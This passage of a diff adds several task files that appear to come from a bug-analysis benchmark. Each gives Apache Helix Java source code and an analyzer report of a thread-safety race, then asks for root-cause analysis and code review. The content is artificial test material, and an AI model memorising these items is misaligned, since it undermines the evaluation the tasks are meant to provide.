+     * TODO: after removing I0ItecIZkStateListenerImpl, null session should be checked and
+     *  discarded.
+     * Null session is still a special case here, which is treated as non-session aware operation.
+     * This special case could still potentially cause race condition, so null session should NOT
+     * be acceptable, once I0ItecIZkStateListenerImpl is removed. Currently this special case
+     * is kept for backward compatibility.
+     */
+
+    // Wait until we get a non-zero session id. Otherwise, getSessionId() might be null.
+    waitUntilConnected();
+
+    /*
+     * Filter out stale sessions. If a session id is not null and not the same as current session
+     * id, this session is expired. With this filtering, expired sessions are NOT handled,
+     * so performance is expected to improve.
+     */
+    if (sessionId != null && !getSessionId().equals(sessionId)) {
+      LOG.warn("Session is expired and not handled. Expected: {}. Actual: {}.", sessionId,
+          getSessionId());
+      return;
+    }
+
+    /*
+     * When a null session id is passed in, we will take current session's id for following
+     * operations. Please note that current session might not be the one we expect to handle,
+     * because the one we expect might be already expired when the zk event is waiting in the
+     * event queue. Why we use current session here is for backward compatibility with the old
+     * method handleNewSession().
+     */
+    if (sessionId == null) {
+      sessionId = getSessionId();
+      LOG.debug("Session id: <null> is passed in. Current session id: {} will be used.", sessionId);
+    }
+
+    LOG.info("Handle new session, instance: {}, type: {}, session id: {}.", _instanceName,
+        _instanceType,  sessionId);
+
+    /**
+     * stop all timer tasks, reset all handlers, make sure cleanup completed for previous session
+     * disconnect if fail to cleanup
+     */
+    stopTimerTasks();
+    if (_leaderElectionHandler != null) {
+      _leaderElectionHandler.reset(false);
+    }
+    resetHandlers(false);
+
+    /**
+     * clean up write-through cache
+     */
+    _baseDataAccessor.reset();
+
+    /**
+     * from here on, we are dealing with new session
+     */
+    if (!ZKUtil.isClusterSetup(_clusterName, _zkclient)) {
+      throw new HelixException("Cluster structure is not set up for cluster: " + _clusterName);
+    }
+
+    _sessionStartTime = System.currentTimeMillis();
+
+    switch (_instanceType) {
+    case PARTICIPANT:
+      handleNewSessionAsParticipant(sessionId);
+      break;
+    case CONTROLLER:
+      handleNewSessionAsController();
+      break;
+    case CONTROLLER_PARTICIPANT:
+      handleNewSessionAsParticipant(sessionId);
+      handleNewSessionAsController();
+      break;
+    case ADMINISTRATOR:
+    case SPECTATOR:
+    default:
+      break;
+    }
+
+    startTimerTasks();
+
+    /**
+     * init handlers
+     * ok to init message handler and data-accessor twice
+     * the second init will be skipped (see CallbackHandler)
+     */
+    initHandlers(_handlers);
+
+    if (_stateListener != null) {
+      try {
+        _stateListener.onConnected(this);
+      } catch (Exception e) {
+        LOG.warn("stateListener.onConnected callback fails", e);
+      }
+    }
+  }
+
+  void handleNewSessionAsParticipant(final String sessionId) throws Exception {
+    if (_participantManager != null) {
+      _participantManager.reset();
+    }
+    _participantManager =
+        new ParticipantManager(this, _zkclient, _sessionTimeout, _liveInstanceInfoProvider,
+            _preConnectCallbacks, sessionId, _helixManagerProperty);
+    _participantManager.handleNewSession();
+  }
+
+  // TODO: pass in session id and make this method session aware to avoid potential session race
+  //  condition.
+  void handleNewSessionAsController() {
+    if (_leaderElectionHandler != null) {
+      _leaderElectionHandler.init();
+    } else {
+      _leaderElectionHandler =
+          new CallbackHandler(this, _zkclient, _keyBuilder.controller(),
+              new DistributedLeaderElection(this, _controller, _controllerTimerTasks),
+              new EventType[] {
+                  EventType.NodeChildrenChanged, EventType.NodeDeleted, EventType.NodeCreated
+              }, ChangeType.CONTROLLER, _callbackMonitors.get(ChangeType.CONTROLLER));
+    }
+  }
+
+  @Override
+  public ParticipantHealthReportCollector getHealthReportCollector() {
+    return _participantHealthInfoCollector;
+  }
+
+  @Override
+  public void handleSessionEstablishmentError(Throwable error) throws Exception {
+    LOG.warn("Handling Session Establishment Error. Disconnect Helix Manager.", error);
+    disconnect();
+
+    if (_stateListener != null) {
+      _stateListener.onDisconnected(this, error);
+    }
+  }
+
+  @Override
+  public Long getSessionStartTime() {
+    return _sessionStartTime;
+  }
+
+  /*
+   * Prepares connection config and client config based on the internal parameters given to
+   * HelixManager in order to create a ZkClient instance to use. Note that a shared ZkClient
+   * instance will be created if connecting as an ADMINISTRATOR to minimize the cost of creating
+   * ZkConnections.
+   */
+  private RealmAwareZkClient createSingleRealmZkClient() {
+    final String shardingKey = buildShardingKey();
+    PathBasedZkSerializer zkSerializer =
+        ChainedPathZkSerializer.builder(new ZNRecordSerializer()).build();
+
+    RealmAwareZkClient.RealmAwareZkConnectionConfig connectionConfig =
+        new RealmAwareZkClient.RealmAwareZkConnectionConfig.Builder()
+            .setRealmMode(RealmAwareZkClient.RealmMode.SINGLE_REALM)
+            .setZkRealmShardingKey(shardingKey)
+            .setSessionTimeout(_sessionTimeout).build();
+
+    RealmAwareZkClient.RealmAwareZkClientConfig clientConfig =
+        new RealmAwareZkClient.RealmAwareZkClientConfig();
+
+    clientConfig.setZkSerializer(zkSerializer)
+        .setConnectInitTimeout(_connectionInitTimeout)
+        .setMonitorType(_instanceType.name())
+        .setMonitorKey(_clusterName)
+        .setMonitorInstanceName(_instanceName)
+        .setMonitorRootPathOnly(isMonitorRootPathOnly());
+
+    if (_instanceType == InstanceType.ADMINISTRATOR) {
+      return resolveZkClient(SharedZkClientFactory.getInstance(), connectionConfig,
+          clientConfig);
+    }
+
+    return resolveZkClient(DedicatedZkClientFactory.getInstance(), connectionConfig,
+        clientConfig);
+  }
+
+  /*
+   * Resolves what type of ZkClient this HelixManager should use based on whether MULTI_ZK_ENABLED
+   * System config is set or not. Two types of ZkClients are available:
+   * 1) If MULTI_ZK_ENABLED is set to true, we create a dedicated RealmAwareZkClient
+   * that provides full ZkClient functionalities and connects to the correct ZK by querying
+   * MetadataStoreDirectoryService.
+   * 2) Otherwise, we create a dedicated HelixZkClient which plainly connects to
+   * the ZK address given.
+   */
+  private RealmAwareZkClient resolveZkClient(HelixZkClientFactory zkClientFactory,
+      RealmAwareZkClient.RealmAwareZkConnectionConfig connectionConfig,
+      RealmAwareZkClient.RealmAwareZkClientConfig clientConfig) {
+    if (Boolean.getBoolean(SystemPropertyKeys.MULTI_ZK_ENABLED)) {
+      try {
+        // Create realm-aware ZkClient.
+        return zkClientFactory.buildZkClient(connectionConfig, clientConfig);
+      } catch (IllegalArgumentException | IOException | InvalidRoutingDataException e) {
+        throw new HelixException("Not able to connect on realm-aware mode for sharding key: "
+            + connectionConfig.getZkRealmShardingKey(), e);
+      }
+    }
+
+    // If multi-zk mode is not enabled, create HelixZkClient with the provided zk address.
+    HelixZkClient.ZkClientConfig helixZkClientConfig = clientConfig.createHelixZkClientConfig();
+    HelixZkClient.ZkConnectionConfig helixZkConnectionConfig =
+        new HelixZkClient.ZkConnectionConfig(_zkAddress)
+            .setSessionTimeout(connectionConfig.getSessionTimeout());
+
+    return zkClientFactory.buildZkClient(helixZkConnectionConfig, helixZkClientConfig);
+  }
+
+  private String buildShardingKey() {
+    return _clusterName.charAt(0) == '/' ? _clusterName : "/" + _clusterName;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.manager.zk.ZKHelixManager.disconnect` reads without synchronization from `this.org.apache.helix.manager.zk.ZKHelixManager._leaderElectionHandler`. Potentially races with write in method `ZKHelixManager.handleStateChanged(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ZKHelixManager.disconnect()
+
+### Procedure Id:
+org.apache.helix.manager.zk.ZKHelixManager.disconnect():void.0716666aec749e0a4d5d805dbaf9f743
+
+### File:
+helix-core/src/main/java/org/apache/helix/manager/zk/ZKHelixManager.java
+
+### Key:
+ZKHelixManager.java|disconnect|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+dac2fcc22241745671a0b5db65b0b107
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9610/instruction.md b/inferredbugs-9610/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b0fb5d30ac8d007c7fb17a18e36068f49bb75c65
--- /dev/null
+++ b/inferredbugs-9610/instruction.md
@@ -0,0 +1,423 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 88
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.rest.server;
+
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+
+import org.apache.helix.BaseDataAccessor;
+import org.apache.helix.ConfigAccessor;
+import org.apache.helix.HelixAdmin;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixException;
+import org.apache.helix.InstanceType;
+import org.apache.helix.SystemPropertyKeys;
+import org.apache.helix.manager.zk.ByteArraySerializer;
+import org.apache.helix.manager.zk.ZKHelixAdmin;
+import org.apache.helix.manager.zk.ZKHelixDataAccessor;
+import org.apache.helix.manager.zk.ZkBaseDataAccessor;
+import org.apache.helix.msdcommon.exception.InvalidRoutingDataException;
+import org.apache.helix.rest.metadatastore.ZkMetadataStoreDirectory;
+import org.apache.helix.task.TaskDriver;
+import org.apache.helix.tools.ClusterSetup;
+import org.apache.helix.zookeeper.api.client.HelixZkClient;
+import org.apache.helix.zookeeper.api.client.RealmAwareZkClient;
+import org.apache.helix.zookeeper.constant.RoutingDataReaderType;
+import org.apache.helix.zookeeper.datamodel.ZNRecord;
+import org.apache.helix.zookeeper.datamodel.serializer.ZNRecordSerializer;
+import org.apache.helix.zookeeper.impl.client.FederatedZkClient;
+import org.apache.helix.zookeeper.impl.client.ZkClient;
+import org.apache.helix.zookeeper.impl.factory.DedicatedZkClientFactory;
+import org.apache.helix.zookeeper.impl.factory.SharedZkClientFactory;
+import org.apache.helix.zookeeper.routing.RoutingDataManager;
+import org.apache.helix.zookeeper.zkclient.IZkChildListener;
+import org.apache.helix.zookeeper.zkclient.IZkDataListener;
+import org.apache.helix.zookeeper.zkclient.IZkStateListener;
+import org.apache.zookeeper.Watcher;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+public class ServerContext implements IZkDataListener, IZkChildListener, IZkStateListener {
+  private static final Logger LOG = LoggerFactory.getLogger(ServerContext.class);
+
+  private final String _zkAddr;
+  private boolean _isMultiZkEnabled;
+  private final String _msdsEndpoint;
+  private volatile RealmAwareZkClient _zkClient;
+
+  private volatile ZKHelixAdmin _zkHelixAdmin;
+  private volatile ClusterSetup _clusterSetup;
+  private volatile ConfigAccessor _configAccessor;
+  // A lazily-initialized base data accessor that reads/writes byte array to ZK
+  // TODO: Only read (deserialize) is supported at this time. This baseDataAccessor should support write (serialize) as needs arise
+  private volatile ZkBaseDataAccessor<byte[]> _byteArrayZkBaseDataAccessor;
+  // 1 Cluster name will correspond to 1 helix data accessor
+  private final Map<String, HelixDataAccessor> _helixDataAccessorPool;
+  // 1 Cluster name will correspond to 1 task driver
+  private final Map<String, TaskDriver> _taskDriverPool;
+
+  /**
+   * Multi-ZK support
+   */
+  private ZkMetadataStoreDirectory _zkMetadataStoreDirectory;
+  // Create a dedicated ZkClient for listening to data changes in routing data
+  private RealmAwareZkClient _zkClientForListener;
+
+  public ServerContext(String zkAddr) {
+    this(zkAddr, false, null);
+  }
+
+  /**
+   * Initializes a ServerContext for this namespace.
+   * @param zkAddr routing ZK address (on multi-zk mode)
+   * @param isMultiZkEnabled boolean flag for whether multi-zk mode is enabled
+   * @param msdsEndpoint if given, this server context will try to read routing data from this MSDS.
+   */
+  public ServerContext(String zkAddr, boolean isMultiZkEnabled, String msdsEndpoint) {
+    _zkAddr = zkAddr;
+    _isMultiZkEnabled = isMultiZkEnabled;
+    _msdsEndpoint = msdsEndpoint; // only applicable on multi-zk mode
+
+    // We should NOT initiate _zkClient and anything that depends on _zkClient in
+    // constructor, as it is reasonable to start up HelixRestServer first and then
+    // ZooKeeper. In this case, initializing _zkClient will fail and HelixRestServer
+    // cannot be started correctly.
+    _helixDataAccessorPool = new ConcurrentHashMap<>();
+    _taskDriverPool = new ConcurrentHashMap<>();
+
+    // Initialize the singleton ZkMetadataStoreDirectory instance to allow it to be closed later
+    _zkMetadataStoreDirectory = ZkMetadataStoreDirectory.getInstance();
+  }
+
+  public RealmAwareZkClient getRealmAwareZkClient() {
+    if (_zkClient == null) {
+      synchronized (this) {
+        if (_zkClient == null) {
+          // If the multi ZK config is enabled, use FederatedZkClient on multi-realm mode
+          if (_isMultiZkEnabled || Boolean
+              .parseBoolean(System.getProperty(SystemPropertyKeys.MULTI_ZK_ENABLED))) {
+            try {
+              // Make sure the ServerContext is subscribed to routing data change so that it knows
+              // when to reset ZkClient and Helix APIs
+              if (_zkClientForListener == null) {
+                _zkClientForListener = DedicatedZkClientFactory.getInstance()
+                    .buildZkClient(new HelixZkClient.ZkConnectionConfig(_zkAddr),
+                        new HelixZkClient.ZkClientConfig()
+                            .setZkSerializer(new ZNRecordSerializer()));
+              }
+              // Refresh data subscription
+              _zkClientForListener.unsubscribeAll();
+              _zkClientForListener.subscribeRoutingDataChanges(this, this);
+              LOG.info("ServerContext: subscribed to routing data in routing ZK at {}!", _zkAddr);
+
+              RealmAwareZkClient.RealmAwareZkConnectionConfig.Builder connectionConfigBuilder =
+                  new RealmAwareZkClient.RealmAwareZkConnectionConfig.Builder();
+              // If MSDS endpoint is set for this namespace, use that instead.
+              if (_msdsEndpoint != null && !_msdsEndpoint.isEmpty()) {
+                connectionConfigBuilder.setRoutingDataSourceEndpoint(_msdsEndpoint)
+                    .setRoutingDataSourceType(RoutingDataReaderType.HTTP.name());
+              }
+              _zkClient = new FederatedZkClient(connectionConfigBuilder.build(),
+                  new RealmAwareZkClient.RealmAwareZkClientConfig()
+                      .setZkSerializer(new ZNRecordSerializer()));
+              LOG.info("ServerContext: FederatedZkClient created successfully!");
+            } catch (InvalidRoutingDataException | IllegalStateException e) {
+              throw new HelixException("Failed to create FederatedZkClient!", e);
+            }
+          } else {
+            // If multi ZK config is not set, just connect to the ZK address given
+            HelixZkClient.ZkClientConfig clientConfig = new HelixZkClient.ZkClientConfig();
+            clientConfig.setZkSerializer(new ZNRecordSerializer());
+            _zkClient = SharedZkClientFactory.getInstance()
+                .buildZkClient(new HelixZkClient.ZkConnectionConfig(_zkAddr), clientConfig);
+          }
+        }
+      }
+    }
+    return _zkClient;
+  }
+
+  @Deprecated
+  public ZkClient getZkClient() {
+    return (ZkClient) getRealmAwareZkClient();
+  }
+
+  public HelixAdmin getHelixAdmin() {
+    if (_zkHelixAdmin == null) {
+      synchronized (this) {
+        if (_zkHelixAdmin == null) {
+          _zkHelixAdmin = new ZKHelixAdmin(getRealmAwareZkClient());
+        }
+      }
+    }
+    return _zkHelixAdmin;
+  }
+
+  public ClusterSetup getClusterSetup() {
+    if (_clusterSetup == null) {
+      synchronized (this) {
+        if (_clusterSetup == null) {
+          _clusterSetup = new ClusterSetup(getRealmAwareZkClient(), getHelixAdmin());
+        }
+      }
+    }
+    return _clusterSetup;
+  }
+
+  public TaskDriver getTaskDriver(String clusterName) {
+    TaskDriver taskDriver = _taskDriverPool.get(clusterName);
+    if (taskDriver == null) {
+      synchronized (this) {
+        if (!_taskDriverPool.containsKey(clusterName)) {
+          _taskDriverPool.put(clusterName, new TaskDriver(getRealmAwareZkClient(), clusterName));
+        }
+        taskDriver = _taskDriverPool.get(clusterName);
+      }
+    }
+    return taskDriver;
+  }
+
+  public ConfigAccessor getConfigAccessor() {
+    if (_configAccessor == null) {
+      synchronized (this) {
+        if (_configAccessor == null) {
+          _configAccessor = new ConfigAccessor(getRealmAwareZkClient());
+        }
+      }
+    }
+    return _configAccessor;
+  }
+
+  public HelixDataAccessor getDataAccessor(String clusterName) {
+    HelixDataAccessor dataAccessor = _helixDataAccessorPool.get(clusterName);
+    if (dataAccessor == null) {
+      synchronized (this) {
+        if (!_helixDataAccessorPool.containsKey(clusterName)) {
+          ZkBaseDataAccessor<ZNRecord> baseDataAccessor =
+              new ZkBaseDataAccessor<>(getRealmAwareZkClient());
+          _helixDataAccessorPool.put(clusterName,
+              new ZKHelixDataAccessor(clusterName, InstanceType.ADMINISTRATOR, baseDataAccessor));
+        }
+        dataAccessor = _helixDataAccessorPool.get(clusterName);
+      }
+    }
+    return dataAccessor;
+  }
+
+  /**
+   * Returns a lazily-instantiated ZkBaseDataAccessor for the byte array type.
+   * @return
+   */
+  public BaseDataAccessor<byte[]> getByteArrayZkBaseDataAccessor() {
+    if (_byteArrayZkBaseDataAccessor == null) {
+      synchronized (this) {
+        if (_byteArrayZkBaseDataAccessor == null) {
+          _byteArrayZkBaseDataAccessor =
+              new ZkBaseDataAccessor<>(_zkAddr, new ByteArraySerializer());
+        }
+      }
+    }
+    return _byteArrayZkBaseDataAccessor;
+  }
+
+  public void close() {
+    if (_zkClient != null) {
+      _zkClient.close();
+    }
+    if (_zkMetadataStoreDirectory != null) {
+      _zkMetadataStoreDirectory.close();
+    }
+    if (_zkClientForListener != null) {
+      _zkClientForListener.close();
+    }
+  }
+
+  @Override
+  public void handleChildChange(String parentPath, List<String> currentChilds) {
+    if (_zkClientForListener == null || _zkClientForListener.isClosed()) {
+      return;
+    }
+    // Resubscribe
+    _zkClientForListener.unsubscribeAll();
+    _zkClientForListener.subscribeRoutingDataChanges(this, this);
+    resetZkResources();
+  }
+
+  @Override
+  public void handleDataChange(String dataPath, Object data) {
+    if (_zkClientForListener == null || _zkClientForListener.isClosed()) {
+      return;
+    }
+    resetZkResources();
+  }
+
+  @Override
+  public void handleDataDeleted(String dataPath) {
+    if (_zkClientForListener == null || _zkClientForListener.isClosed()) {
+      return;
+    }
+    // Resubscribe
+    _zkClientForListener.unsubscribeAll();
+    _zkClientForListener.subscribeRoutingDataChanges(this, this);
+    resetZkResources();
+  }
+
+  @Override
+  public void handleStateChanged(Watcher.Event.KeeperState state) {
+    if (_zkClientForListener == null || _zkClientForListener.isClosed()) {
+      return;
+    }
+    // Resubscribe
+    _zkClientForListener.unsubscribeAll();
+    _zkClientForListener.subscribeRoutingDataChanges(this, this);
+    resetZkResources();
+  }
+
+  @Override
+  public void handleNewSession(String sessionId) {
+    if (_zkClientForListener == null || _zkClientForListener.isClosed()) {
+      return;
+    }
+    // Resubscribe
+    _zkClientForListener.unsubscribeAll();
+    _zkClientForListener.subscribeRoutingDataChanges(this, this);
+    resetZkResources();
+  }
+
+  @Override
+  public void handleSessionEstablishmentError(Throwable error) {
+    if (_zkClientForListener == null || _zkClientForListener.isClosed()) {
+      return;
+    }
+    // Resubscribe
+    _zkClientForListener.unsubscribeAll();
+    _zkClientForListener.subscribeRoutingDataChanges(this, this);
+    resetZkResources();
+  }
+
+  /**
+   * Resets all internally cached routing data by closing and nullifying the ZkClient and Helix APIs.
+   * This is okay because routing data update should be infrequent.
+   */
+  private void resetZkResources() {
+    synchronized (this) {
+      LOG.info("ServerContext: Resetting ZK resources due to routing data change! Routing ZK: {}",
+          _zkAddr);
+      try {
+        // Reset RoutingDataManager's cache
+        RoutingDataManager.getInstance().reset();
+        // All Helix APIs will be closed implicitly because ZkClient is closed
+        if (_zkClient != null && !_zkClient.isClosed()) {
+          _zkClient.close();
+        }
+        if (_byteArrayZkBaseDataAccessor != null) {
+          _byteArrayZkBaseDataAccessor.close();
+        }
+        _zkClient = null;
+        _zkHelixAdmin = null;
+        _clusterSetup = null;
+        _configAccessor = null;
+        _byteArrayZkBaseDataAccessor = null;
+        _helixDataAccessorPool.clear();
+        _taskDriverPool.clear();
+      } catch (Exception e) {
+        LOG.error("Failed to reset ZkClient and Helix APIs in ServerContext!", e);
+      }
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.helix.rest.server.ServerContext.handleStateChanged` reads without synchronization from `this.org.apache.helix.rest.server.ServerContext._zkClientForListener`. Potentially races with write in method `ServerContext.getTaskDriver(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ServerContext.handleStateChanged(Watcher$Event$KeeperState)
+
+### Procedure Id:
+org.apache.helix.rest.server.ServerContext.handleStateChanged(org.apache.zookeeper.Watcher$Event$Kee.8892db998a0da0acc867462f50ffe40b
+
+### File:
+helix-rest/src/main/java/org/apache/helix/rest/server/ServerContext.java
+
+### Key:
+ServerContext.java|handleStateChanged|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+e458c79b61949ee263e5671654c7c267
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9611/instruction.md b/inferredbugs-9611/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b3ad0fdc1bb5fb5d72f6f0f8acc35bee795b453f
--- /dev/null
+++ b/inferredbugs-9611/instruction.md
@@ -0,0 +1,486 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 38
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.task;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import org.I0Itec.zkclient.DataUpdater;
+import org.apache.helix.*;
+import org.apache.helix.controller.stages.ClusterDataCache;
+import org.apache.helix.controller.stages.CurrentStateOutput;
+import org.apache.helix.model.*;
+import org.apache.helix.model.builder.CustomModeISBuilder;
+import org.apache.log4j.Logger;
+
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+import java.util.*;
+
+/**
+ * Custom rebalancer implementation for the {@code Workflow} in task state model.
+ */
+public class WorkflowRebalancer extends TaskRebalancer {
+  private static final Logger LOG = Logger.getLogger(WorkflowRebalancer.class);
+
+  @Override
+  public ResourceAssignment computeBestPossiblePartitionState(ClusterDataCache clusterData,
+      IdealState taskIs, Resource resource, CurrentStateOutput currStateOutput) {
+    final String workflow = resource.getResourceName();
+    LOG.debug("Computer Best Partition for workflow: " + workflow);
+
+    // Fetch workflow configuration and context
+    WorkflowConfig workflowCfg = TaskUtil.getWorkflowCfg(_manager, workflow);
+    if (workflowCfg == null) {
+      LOG.warn("Workflow configuration is NULL for " + workflow);
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    WorkflowContext workflowCtx = TaskUtil.getWorkflowContext(_manager, workflow);
+    // Initialize workflow context if needed
+    if (workflowCtx == null) {
+      workflowCtx = new WorkflowContext(new ZNRecord("WorkflowContext"));
+      workflowCtx.setStartTime(System.currentTimeMillis());
+      LOG.debug("Workflow context is created for " + workflow);
+    }
+
+    // Clean up if workflow marked for deletion
+    TargetState targetState = workflowCfg.getTargetState();
+    if (targetState == TargetState.DELETE) {
+      LOG.info("Workflow is marked as deleted " + workflow + " cleaning up the workflow context.");
+      cleanupWorkflow(workflow, workflowCfg, workflowCtx);
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    if (targetState == TargetState.STOP) {
+      LOG.info("Workflow " + workflow + "is marked as stopped.");
+      // Workflow has been stopped if all jobs are stopped
+      // TODO: what should we do if workflowCtx is not set yet?
+      if (workflowCtx != null && isWorkflowStopped(workflowCtx, workflowCfg)) {
+        workflowCtx.setWorkflowState(TaskState.STOPPED);
+      }
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    long currentTime = System.currentTimeMillis();
+    // Check if workflow is completed and mark it if it is completed.
+    if (workflowCtx.getFinishTime() == WorkflowContext.UNFINISHED) {
+      if (isWorkflowComplete(workflowCtx, workflowCfg)) {
+        workflowCtx.setWorkflowState(TaskState.COMPLETED);
+        workflowCtx.setFinishTime(currentTime);
+        TaskUtil.setWorkflowContext(_manager, workflow, workflowCtx);
+      }
+    }
+
+    if (workflowCtx.getFinishTime() != WorkflowContext.UNFINISHED) {
+      LOG.info("Workflow " + workflow + " is completed.");
+      long expiryTime = workflowCfg.getExpiry();
+      // Check if this workflow has been finished past its expiry.
+      if (workflowCtx.getFinishTime() + expiryTime <= currentTime) {
+        LOG.info("Workflow " + workflow + " passed expiry time, cleaning up the workflow context.");
+        cleanupWorkflow(workflow, workflowCfg, workflowCtx);
+      } else {
+        // schedule future cleanup work
+        long cleanupTime = workflowCtx.getFinishTime() + expiryTime;
+        _scheduledRebalancer.scheduleRebalance(_manager, workflow, cleanupTime);
+      }
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    if (!isWorkflowReadyForSchedule(workflowCfg)) {
+      LOG.info("Workflow " + workflow + " is not ready to schedule");
+      // set the timer to trigger future schedule
+      _scheduledRebalancer
+          .scheduleRebalance(_manager, workflow, workflowCfg.getStartTime().getTime());
+      return buildEmptyAssignment(workflow, currStateOutput);
+    }
+
+    // Check for readiness, and stop processing if it's not ready
+    boolean isReady =
+        scheduleWorkflowIfReady(workflow, workflowCfg, workflowCtx);
+    if (isReady) {
+      // Schedule jobs from this workflow.
+      scheduleJobs(workflowCfg, workflowCtx);
+    } else {
+      LOG.debug("Workflow " + workflow + " is not ready to be scheduled.");
+    }
+
+    TaskUtil.setWorkflowContext(_manager, workflow, workflowCtx);
+    return buildEmptyAssignment(workflow, currStateOutput);
+  }
+
+  /**
+   * Figure out whether the jobs in the workflow should be run,
+   * and if it's ready, then just schedule it
+   */
+  private void scheduleJobs(WorkflowConfig workflowCfg, WorkflowContext workflowCtx) {
+    ScheduleConfig scheduleConfig = workflowCfg.getScheduleConfig();
+    if (scheduleConfig != null && scheduleConfig.isRecurring()) {
+      LOG.debug("Jobs from recurring workflow are not schedule-able");
+      return;
+    }
+
+    for (String job : workflowCfg.getJobDag().getAllNodes()) {
+      TaskState jobState = workflowCtx.getJobState(job);
+      if (jobState != null && !jobState.equals(TaskState.NOT_STARTED)) {
+        LOG.debug("Job " + job + " is already started or completed.");
+        continue;
+      }
+      // check ancestor job status
+      if (isJobReadyToSchedule(job, workflowCfg, workflowCtx)) {
+        JobConfig jobConfig = TaskUtil.getJobCfg(_manager, job);
+        scheduleSingleJob(job, jobConfig);
+      }
+    }
+  }
+
+  /**
+   * Posts new job to cluster
+   */
+  private void scheduleSingleJob(String jobResource, JobConfig jobConfig) {
+    HelixAdmin admin = _manager.getClusterManagmentTool();
+
+    IdealState jobIS = admin.getResourceIdealState(_manager.getClusterName(), jobResource);
+    if (jobIS != null) {
+      LOG.info("Job " + jobResource + " idealstate already exists!");
+      return;
+    }
+
+    // Set up job resource based on partitions from target resource
+    int numIndependentTasks = jobConfig.getTaskConfigMap().size();
+    int numPartitions = (numIndependentTasks > 0) ?
+        numIndependentTasks :
+        admin.getResourceIdealState(_manager.getClusterName(), jobConfig.getTargetResource())
+            .getPartitionSet().size();
+    admin.addResource(_manager.getClusterName(), jobResource, numPartitions,
+        TaskConstants.STATE_MODEL_NAME);
+
+    HelixDataAccessor accessor = _manager.getHelixDataAccessor();
+
+    // Set the job configuration
+    PropertyKey.Builder keyBuilder = accessor.keyBuilder();
+    HelixProperty resourceConfig = new HelixProperty(jobResource);
+    resourceConfig.getRecord().getSimpleFields().putAll(jobConfig.getResourceConfigMap());
+    Map<String, TaskConfig> taskConfigMap = jobConfig.getTaskConfigMap();
+    if (taskConfigMap != null) {
+      for (TaskConfig taskConfig : taskConfigMap.values()) {
